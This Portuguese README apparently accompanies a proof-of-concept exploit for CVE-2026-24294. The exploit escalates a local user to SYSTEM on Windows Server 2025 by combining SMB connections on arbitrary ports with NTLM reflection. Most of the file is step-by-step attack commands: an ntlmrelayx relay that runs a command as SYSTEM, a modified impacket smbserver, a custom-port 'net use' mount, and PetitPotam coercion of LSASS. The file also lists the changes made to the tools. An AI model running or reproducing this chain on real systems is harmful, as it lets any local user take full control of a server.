
PoC de escalada de privilégios local para CVE-2026-24294, abusando da porta arbitrária do SMB e da reflexão NTLM para obter SYSTEM no Windows Server 2025.
Escalada local de privilégios no Windows Server 2025 via reflexão NTLM, abusando do recurso de porta arbitrária SMB introduzido no Windows 11 24H2 / Server 2025.
O Windows 11 24H2 / Server 2025 introduziu um recurso no cliente SMB que permite conexões em portas TCP arbitrárias (net use \\host\share /tcpport:PORT). Combinado com o multiplexação de sessão SMB (MS-SMB2 Seção 3.2.4.2), isso possibilita a reflexão NTLM local — um usuário de baixo privilégio pode coagir um serviço privilegiado (LSASS) a autenticar em um servidor SMB controlado pelo atacante em uma porta não padrão e, em seguida, retransmitir a autenticação NTLM capturada de volta ao serviço SMB real na porta 445.
Impacto: NT AUTHORITY\SYSTEM a partir de qualquer usuário local.
Afetados: Windows Server 2025 (configuração padrão). O Windows 11 24H2 impõe assinatura SMB, bloqueando a retransmissão.
LSASS (SYSTEM) ──NTLM──► Cliente SMB ──TCP:12345──► smbserver.py (nosso)
│
▼ retransmite blob NTLM
Serviço SMB (:445) ◄────────────────── ntlmrelayx.py
← sessão SYSTEM
net use abre uma conexão TCP para nosso servidor SMB em uma porta personalizada\\127.0.0.1\shareAbra 3 terminais.
Terminal 1 — Inicie o ntlmrelayx (escuta na porta RAW 6666, retransmite para SMB localhost):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
Terminal 2 — Inicie o smbserver modificado (escuta na porta 12345, retransmite NTLM para a porta 6666):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
Terminal 3 — Execute o exploit:
:: Monta o compartilhamento em porta personalizada (abre conexão TCP persistente)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: Coage o LSASS a autenticar em nosso servidor SMB
PetitPotam.exe 127.0.0.1 localhost 2
A saída whoami do ntlmrelayx mostrará NT AUTHORITY\SYSTEM.
PetitPotam/ — Código-fonte PetitPotam modificado. Duas alterações em relação ao upstream:
df1941c5-fe89-4e79-bf10-463657acf44d (interface EFSRPC do WS2025)\pipe\efsrpcEfsRpcEncryptFileSrv), nome do compartilhamento codificado como testsmbserver.py — smbserver do impacket modificado com o sinalizador -relay-port. Intercepta SMB2 SESSION_SETUP para capturar uma segunda autenticação NTLM em uma conexão multiplexada e retransmiti-la para um servidor de retransmissão RAW (ntlmrelayx --raw-port).Este PoC foi majoritariamente escrito por IA (GLM 5.1) com base na pesquisa e nas técnicas descritas em: